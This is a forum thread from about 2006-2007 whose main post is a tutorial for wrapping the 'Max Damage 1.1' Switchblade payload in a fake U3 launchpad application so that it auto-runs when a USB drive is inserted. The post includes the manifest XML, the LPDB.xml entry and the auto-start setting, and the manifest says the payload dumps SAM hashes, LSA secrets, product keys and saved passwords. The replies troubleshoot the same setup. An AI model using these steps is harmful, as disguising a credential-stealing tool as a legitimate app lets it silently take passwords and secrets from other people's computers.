Guest TehHacks Posted December 30, 2006 Share Posted December 30, 2006 ******INTRODUCTION****** Alright, i dont know if this has already been done, i looked around the forums a bit but couldnt find anyone using the sam technique. ok, basicly, this method works by makeing the U3 lanuchpad think that the payload you are using is a U3 application and setting the U3 launchpad to auto run it when the drive is incerted. the advantages to this method are: 1)You get to keep you pretty U3 launch pad. 2)You get to choose wether or not your payload AUTO runs or not. 3)You can put more than one payload on your USB drive. If you are doing this with the maxdamage payload 1.1, just follow my examples exactly. ******INSTRUCTIONS****** For this tutorial i will be using the Max Damage 1.1 Payload, all though you can use what ever Payload that you want. 1. Install the latest U3 launchpad, you can find it here: http://www.sandisk.com/Retail/Default.aspx?CatID=1411 2. Download your payload, i am using the Max Damage payload 1.1, you can find it here: http://www.hak5.org/releases/2x02/switchbl...1.1-payload.rar 3. Place the payload on your USB drive as you usualy would: eg. PayLoad: x:wipcmd*payload files* and Logfiles: x:Documentslogfiles*logfiles* 4. Open up the Hidden System folder in the root of the drive and navigate into the Apps folder. Create a folder of any name, the payload name makes things easier. This is going to become the uuid, so remember what you named it for later. (ex: i created x:SystemAppsMaxDamage) 5. Inside the newly created folder, make a new folder named Manifest. Inside create a new notepad document. Rename the document to Manifest.u3i. Manifest.u3i is really a disguised XML file that the U3 Launcher uses to describe your program with. Having one is Vital to the Launcher. (ex: i created x:SystemAppsMaxDamageManifestManifest.u3i) 5. Make or find an icon. I used the U3 icon, but you can use what ever icon you want. try just taking the favicon from a website. Put the .ico in the Manifest folder right next to the Manifest.u3i 6. Edit Manifest.u3i in notepad (or TextPad, etc) and input this as a template (this is what it would look like if you are using the maxdamage payload 1.1): <?xml version="1.0" encoding="UTF-8"?> <u3manifest version="1.0"> <application uuid="Maxdamage" version="1"> <icon>U3.ico</icon> <name>Maxdamage Payload 1.1</name> <vendor url="http://hak5.org/forums/viewtopic.php?t=2361">Hak.5 Forum</vendor> <description>This payload gathers IP information, dumps SAM, product keys, LSA secrets, network passwords, messenger passwords, and URL history. </description> <options> <minFreeSpace>1</minFreeSpace> <upgrade appData="overwrite" deviceExec="overwrite"/> </options> </application> <actions> <appStart workingdir="%U3_DEVICE_PATH%WIPCMD" cmd="%U3_DEVICE_PATH%WIPCMDgo.cmd">start</appStart> <appStop workingdir="%U3_DEVICE_PATH%WIPCMD" cmd="%U3_DEVICE_PATH%WIPCMDgo.cmd">stop</appStop> </actions> </u3manifest> Make application uuid the same name as the file folder in your Apps directory (ex: MaxDamage). This is the ID of the application, you will need to use it again elsewhere. version is just the version of the application, its arbitrary, set it correctly if you want your launcher to display the correct version of your payload. icon is the name of the icon that you want to display on your program list, the one that you place in you manifest folder name = display name. vendor url and description = the url of the program's website and the description displayed in "Manage U3 Programs." minFreeSpace = number of MB that the program requires on the drive, rounded up to the nearest MB. appStart and appStop, there are a few more optional actions like clean up, but these two are the required two to run your program. workingdir = the directory that your program runs from/in. Set this as the file folder that your executable is located in, make sure you use %U3_DEVICE_PATH% rather than the drive letter (ex:%U3_DEVICE_PATH%WIPCMD ). cmd = the File that you want to run when you click the button. Save. (ex: %U3_DEVICE_PATH%WIPCMDgo.cmd) 7. Zip the Manifest folder and name as the same name of your uuid from before. The items inside the zip file MUST be placed in the correct location. Follow my example: Inside my Maxdamage.zip is a Folder with the name Manifest Inside the Manifest folder is a Manifest.u3i and a U3.ico MaxDamage.zip => ManifestManifest.u3i and ManifestU3.ico Now rename the uuid.zip folder to uuid.u3p (ex: MaxDamage.zip -> MaxDamage.u3p) and leave it in the uuid folder (ex: now i have a x:SystemAppsMaxdamageMaxdamage.u3p) 8. Go back to the Apps folder (ex: x:SystemApps) and find and edit the LPDB.xml file. add in <APPLICATION guid="Maxdamage" launchOnStart="N" lastUsed="30/12/2006 13:24:25">Maxdamage.u3p</APPLICATION> right next to the ones similar to it. change the guid to your uuid and the location accordingly. If yours is empty, just add this in between the two open and close tags. 9. Eject your USB Drive and plug it back in. When the U3 Launcher loads when you plug it back and and you did everything correct, you have a new item on your program list. If you left a typo in the code or something went wrong, it will tell you that the u3p failed to load and if you want to delete the program associated to it. 10. Now your playload should show up in U3 launch pad "U3 smart programs" menu with the .ico you picked next to it.. to enable it to auto run, right click on select "properties" and check the "start on insertion" tab. ******Notes and Credits****** If adding screen shots to this guide would help please let me know, and i'll try adn get them done. alot of credit goes to thus guide: http://www.elitenews.org/2006/05/installin...mart-drive.html I used it as a template for this guide, and gain most of my knowleadge on this subject from it. Quote Link to comment Share on other sites More sharing options...
remkow Posted December 30, 2006 Share Posted December 30, 2006 That's a really handy technique, might be useful someday.. Quote Link to comment Share on other sites More sharing options...
Guest TehHacks Posted December 30, 2006 Share Posted December 30, 2006 That's a really handy technique, might be useful someday.. Its been very usfull to me, since i want to use my USB drive for school, and i want to keep the U3 launcher application. but i also think the switch blade is a very good tool, and fun to play around with, so its a good way to be able to use both with no dissadvantages. Quote Link to comment Share on other sites More sharing options...
jaz Posted January 4, 2007 Share Posted January 4, 2007 hey thanks this guide is really good and do u think you could add some screenshots because this is kind of hard for me to figure out by myself....thanks :D Quote Link to comment Share on other sites More sharing options...
Guest TehHacks Posted January 4, 2007 Share Posted January 4, 2007 hey thanks this guide is really good and do u think you could add some screenshots because this is kind of hard for me to figure out by myself....thanks :D Sure, I'll Get on that tomorrow, Its late, and i'm on my linux machine. in the mean while take a look at the link in the "Notes and credits" section, that has screen shots, and will hopefully help you out alot, because thats what this technique is based on and if you can do that, using this technique will be easy for you. Quote Link to comment Share on other sites More sharing options...
Guest TehHacks Posted January 7, 2007 Share Posted January 7, 2007 added screen shots. :D Quote Link to comment Share on other sites More sharing options...
jaz Posted January 7, 2007 Share Posted January 7, 2007 thanks alot TehHacks this really help alot i like ur "uppity" button mod thats pretty cool .good job with the keeping U3 thing Quote Link to comment Share on other sites More sharing options...
Guest TehHacks Posted January 7, 2007 Share Posted January 7, 2007 thanks alot TehHacks this really help alot i like ur "uppity" button mod thats pretty cool .good job with the keeping U3 thing lol, thanks. it was no problem addding the screen shots, glad i could help. Quote Link to comment Share on other sites More sharing options...
jaz Posted January 7, 2007 Share Posted January 7, 2007 so how would i add the hacksaw into the switchblade code...too make both of them on U3...since switchblade already works with U3....can u combine the codes or is it not possible? edit--- when i copy documents file do i overwrite the one on the flash drive? Quote Link to comment Share on other sites More sharing options...
Guest TehHacks Posted January 7, 2007 Share Posted January 7, 2007 so how would i add the hacksaw into the switchblade code...too make both of them on U3...since switchblade already works with U3....can u combine the codes or is it not possible?edit--- when i copy documents file do i overwrite the one on the flash drive? You can overwrite the one on the flash drive, it doesnt matter as long as you have a file named "logfiles" inside the documents folder. about the hacksaw, i wouldnt know i havnt tryed the hacksaw before, i asume you could just put the hacksaw on our flash drive and use the same technique. Quote Link to comment Share on other sites More sharing options...
jaz Posted January 7, 2007 Share Posted January 7, 2007 hey mine doesnt seen to work i have payload 1.1 and in documents i put the "logfiles" and i put WIP in root directory, under apps i have MaxDamage file within it is Manifest and MaxDamage.u3p (zipped file renamed) and inside manifest i have manifest u3i and icon so heres what it looks like -F:Documentslogfiles -F:WIPCMD (with the programs inside) -F:SystemAppsMaxDamageManifest (has manifest.u3i and icon) -F:SystemAppsMaxDamage (in the zip file renamed with u3p i have the Manifest folder zipper with the icon and manifest.u3i heres the code i used for Manifest folder i used the exact same <?xml version="1.0" encoding="UTF-8"?> <u3manifest version="1.0"> <application uuid="MaxDamage" version="1"> <icon>icon.ico</icon> <name>Maxdamage </name> <vendor url="http://hak5.org/forums/viewtopic.php?t=2361">Hak.5 Forum</vendor> <description>This payload gathers IP information, dumps SAM, product keys, LSA secrets, network passwords, messenger passwords, and URL history. </description> <options> <minFreeSpace>0</minFreeSpace> <upgrade appData="overwrite" deviceExec="overwrite"/> </options> </application> <actions> <appStart workingdir="%U3_DEVICE_PATH%WIPCMD" cmd="%U3_DEVICE_PATH%WIPCMDgo.cmd">start</appStart> <appStop workingdir="%U3_DEVICE_PATH%WIPCMD" cmd="%U3_DEVICE_PATH%WIPCMDgo.cmd">stop</appStop> </actions> </u3manifest> and now the LPDB.xml file: [list=] <LPDB><APPLICATION guid="79EB5C19-AB0E-4dd7-BE89-BF96301D35Z8" launchOnStart="Y" lastUsed="5/24/2006 12:17:27 PM">SanDiskLaunchPadTour.u3p</APPLICATION><APPLICATION guid="EC30627F-0195-44d4-8C24-1B09F3C02C50" launchOnStart="N" lastUsed="5/24/2006 12:17:50 PM">CruzerSync-V5.6.048.u3p</APPLICATION><APPLICATION guid="285E6953-BF3C-4445-9376-3FE5D7F645B2" launchOnStart="N" lastUsed="5/24/2006 12:18:14 PM">signupshield-pm-sandisk-v04_05_15_00.u3p</APPLICATION><APPLICATION guid="1F30627F-0195-44d4-8C24-1999F3C02C50" launchOnStart="N" lastUsed="5/24/2006 12:18:42 PM">avast81.u3p</APPLICATION><APPLICATION guid="0DE4F643-C398-46ec-9339-2362F2311932" launchOnStart="N" lastUsed="5/24/2006 12:19:04 PM">Skype(2.0.14.85)(u3)(1062)hotfix_test.u3p</APPLICATION><APPLICATION guid="f926e6ba-0e86-43c7-973f-bdf6ea2a4d37" launchOnStart="N" lastUsed="1/5/2007 3:02:57 PM">TrueCryptU3.u3p</APPLICATION> <APPLICATION guid="MaxDamage" launchOnStart="N" lastUsed="30/12/2006 13:24:25">MaxDamage.u3p</APPLICATION></LPDB> i hope i can get some help cause to me everything looks right Quote Link to comment Share on other sites More sharing options...
geocine Posted January 8, 2007 Share Posted January 8, 2007 1. What does this means?: F:SystemAppsMaxDamage (in the zip file renamed with u3p i have the Manifest folder zipper with the icon and manifest.u3i ) it should look like this + MaxDamage.u3p + Manifest Manifest.u3i icon.ico 2.Change this to 1 <minFreeSpace>0</minFreeSpace> Quote Link to comment Share on other sites More sharing options...
jaz Posted January 8, 2007 Share Posted January 8, 2007 wat do u mean? like how would it look....cause in my maxdamage file in the app folder i have a Manifest folder with the icon and manifest.u3i and inside the maxdamage folder in apps is the manifestand maxdamage.u3p with the manifest and icon and manifest.u3i Quote Link to comment Share on other sites More sharing options...
Guest TehHacks Posted January 8, 2007 Share Posted January 8, 2007 hey mine doesnt seen to work i have payload 1.1 and in documents i put the "logfiles" and i put WIP in root directory, under apps i have MaxDamage file within it is Manifest and MaxDamage.u3p (zipped file renamed) and inside manifest i have manifest u3i and iconso heres what it looks like -F:Documentslogfiles -F:WIPCMD (with the programs inside) -F:SystemAppsMaxDamageManifest (has manifest.u3i and icon) -F:SystemAppsMaxDamage (in the zip file renamed with u3p i have the Manifest folder zipper with the icon and manifest.u3i heres the code i used for Manifest folder i used the exact same <?xml version="1.0" encoding="UTF-8"?> <u3manifest version="1.0"> <application uuid="MaxDamage" version="1"> <icon>icon.ico</icon> <name>Maxdamage </name> <vendor url="http://hak5.org/forums/viewtopic.php?t=2361">Hak.5 Forum</vendor> <description>This payload gathers IP information, dumps SAM, product keys, LSA secrets, network passwords, messenger passwords, and URL history. </description> <options> <minFreeSpace>0</minFreeSpace> <upgrade appData="overwrite" deviceExec="overwrite"/> </options> </application> <actions> <appStart workingdir="%U3_DEVICE_PATH%WIPCMD" cmd="%U3_DEVICE_PATH%WIPCMDgo.cmd">start</appStart> <appStop workingdir="%U3_DEVICE_PATH%WIPCMD" cmd="%U3_DEVICE_PATH%WIPCMDgo.cmd">stop</appStop> </actions> </u3manifest> and now the LPDB.xml file: [list=] <LPDB><APPLICATION guid="79EB5C19-AB0E-4dd7-BE89-BF96301D35Z8" launchOnStart="Y" lastUsed="5/24/2006 12:17:27 PM">SanDiskLaunchPadTour.u3p</APPLICATION><APPLICATION guid="EC30627F-0195-44d4-8C24-1B09F3C02C50" launchOnStart="N" lastUsed="5/24/2006 12:17:50 PM">CruzerSync-V5.6.048.u3p</APPLICATION><APPLICATION guid="285E6953-BF3C-4445-9376-3FE5D7F645B2" launchOnStart="N" lastUsed="5/24/2006 12:18:14 PM">signupshield-pm-sandisk-v04_05_15_00.u3p</APPLICATION><APPLICATION guid="1F30627F-0195-44d4-8C24-1999F3C02C50" launchOnStart="N" lastUsed="5/24/2006 12:18:42 PM">avast81.u3p</APPLICATION><APPLICATION guid="0DE4F643-C398-46ec-9339-2362F2311932" launchOnStart="N" lastUsed="5/24/2006 12:19:04 PM">Skype(2.0.14.85)(u3)(1062)hotfix_test.u3p</APPLICATION><APPLICATION guid="f926e6ba-0e86-43c7-973f-bdf6ea2a4d37" launchOnStart="N" lastUsed="1/5/2007 3:02:57 PM">TrueCryptU3.u3p</APPLICATION> <APPLICATION guid="MaxDamage" launchOnStart="N" lastUsed="30/12/2006 13:24:25">MaxDamage.u3p</APPLICATION></LPDB> i hope i can get some help cause to me everything looks right Whats the problem. "hey mine doesnt seen to work" isnt enough, what output message are you getting? if you are having loads of trouble, i can send you the files and tell you where to put them on your USB stick. Quote Link to comment Share on other sites More sharing options...
geocine Posted January 8, 2007 Share Posted January 8, 2007 inside the MaxDamage.u3p you should have a Manifest folder inside of that is the icon.ico and the Manifest.u3i Quote Link to comment Share on other sites More sharing options...
jaz Posted January 8, 2007 Share Posted January 8, 2007 yes its all like that i have the manifest.u3p and it has the manifest and inside it is manifest.u3i and icon....but my maxdamage.u3p shows the winrar icon on it when i switched it to .u3p and it opens with WinRar....is that a problem?? Quote Link to comment Share on other sites More sharing options...
Guest TehHacks Posted January 8, 2007 Share Posted January 8, 2007 yes its all like that i have the manifest.u3p and it has the manifest and inside it is manifest.u3i and icon....but my maxdamage.u3p shows the winrar icon on it when i switched it to .u3p and it opens with WinRar....is that a problem?? Hmmmm interesting, looks like you screwed something up in LPDB.xml. Make sure it looks like this: <LPDB> Â Â Â Â <APPLICATION guid="1ED2AA6E-626E-4159-96DD-0A8621CDEFF1" launchOnStart="N" lastUsed="30/12/2006 10:37:22">FileZilla.u3p</APPLICATION> Â Â Â Â <APPLICATION guid="reshack" launchOnStart="N" lastUsed="30/12/2006 13:24:25">reshack.u3p</APPLICATION> Â Â Â Â <APPLICATION guid="quake" launchOnStart="N" lastUsed="30/12/2006 13:24:25">quake.u3p</APPLICATION> Â Â Â Â <APPLICATION guid="devcpp" launchOnStart="N" lastUsed="1/1/2007 14:24:25">devcpp.u3p</APPLICATION> Â Â Â Â <APPLICATION guid="DSL" launchOnStart="N" lastUsed="1/1/2007 14:24:25">DSL.u3p</APPLICATION> Â Â Â Â <APPLICATION guid="WR26005A-A5F3-471B-9997-3ED6B471B096" launchOnStart="N" lastUsed="02/01/2007 12:12:59">WinRar 3.62 Final Corporate.u3p</APPLICATION> Â Â Â Â <APPLICATION guid="GENS" launchOnStart="N" lastUsed="1/1/2007 14:24:25">GENS.u3p</APPLICATION> Â Â Â Â <APPLICATION guid="MaxDamage" launchOnStart="N" lastUsed="30/12/2006 13:24:25">MaxDamage.u3p</APPLICATION> </LPDB> Everything above <APPLICATION guid="MaxDamage" launchOnStart="N" lastUsed="30/12/2006 13:24:25">MaxDamage.u3p</APPLICATION> is my applications, DONT COPY IT!!! ONLY THE SECOND LAST LINE. Quote Link to comment Share on other sites More sharing options...
jaz Posted January 9, 2007 Share Posted January 9, 2007 i think you have to email me the files i have a hotmail account and gmail pm me if u prefer to email to my gmail....if urs works when i download it would it work the same with Dec C++?... p.s. can u give me instructions or ill just add u to my msn and u can tell me step by step and i can ask u directyl if theres a problem with it...thanks edit* i also updated my U3 launcher dont know if that would be a problem...but my bros has the same flash drive as me (nonupdated) so ill just take his :D would the update be a problem with the maxdamage? Quote Link to comment Share on other sites More sharing options...
geocine Posted January 9, 2007 Share Posted January 9, 2007 People reading this thread , check out this link http://usb.smithtech.us/u3/index.htm Quote Link to comment Share on other sites More sharing options...
jaz Posted January 9, 2007 Share Posted January 9, 2007 thanks alot this site is good and i has confirmed that what i wanted to code has been done maybe i can make it better.....really good site geocine edit* i also wanted to program it on my own so i can learn some stuff..... Quote Link to comment Share on other sites More sharing options...
geocine Posted January 9, 2007 Share Posted January 9, 2007 how about disabling the splash screen on U3 jaz... any ideas.. im sick looking for it Quote Link to comment Share on other sites More sharing options...
jaz Posted January 9, 2007 Share Posted January 9, 2007 hmmm.... :shock: ill look into that cause i remember seeing a site about disbabling the splash screen.....like you wont to disable just the screen?...no the acutal launcher app....? Quote Link to comment Share on other sites More sharing options...
Guest TehHacks Posted January 9, 2007 Share Posted January 9, 2007 i think you have to email me the files i have a hotmail account and gmail pm me if u prefer to email to my gmail....if urs works when i download it would it work the same with Dec C++?...p.s. can u give me instructions or ill just add u to my msn and u can tell me step by step and i can ask u directyl if theres a problem with it...thanks edit* i also updated my U3 launcher dont know if that would be a problem...but my bros has the same flash drive as me (nonupdated) so ill just take his :D would the update be a problem with the maxdamage? Updating shouldnt be a problem at all, i'll help you with Dev c++. i'll add you on MSN to help you. Quote Link to comment Share on other sites More sharing options...
jaz Posted January 10, 2007 Share Posted January 10, 2007 i got the C++ app working but not the switchblade :( Quote Link to comment Share on other sites More sharing options...
jaz Posted January 11, 2007 Share Posted January 11, 2007 this switchblade still isn't working, geocine gave me this link http://usb.smithtech.us/u3/index.htm it can make shorcuts and do manifest and u3p but for some reason wont work with the switchblade....i know im the only person still having trouble with this and i dont know why cause everything is done right and i did it over again...stilll doesnt work :shock: Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.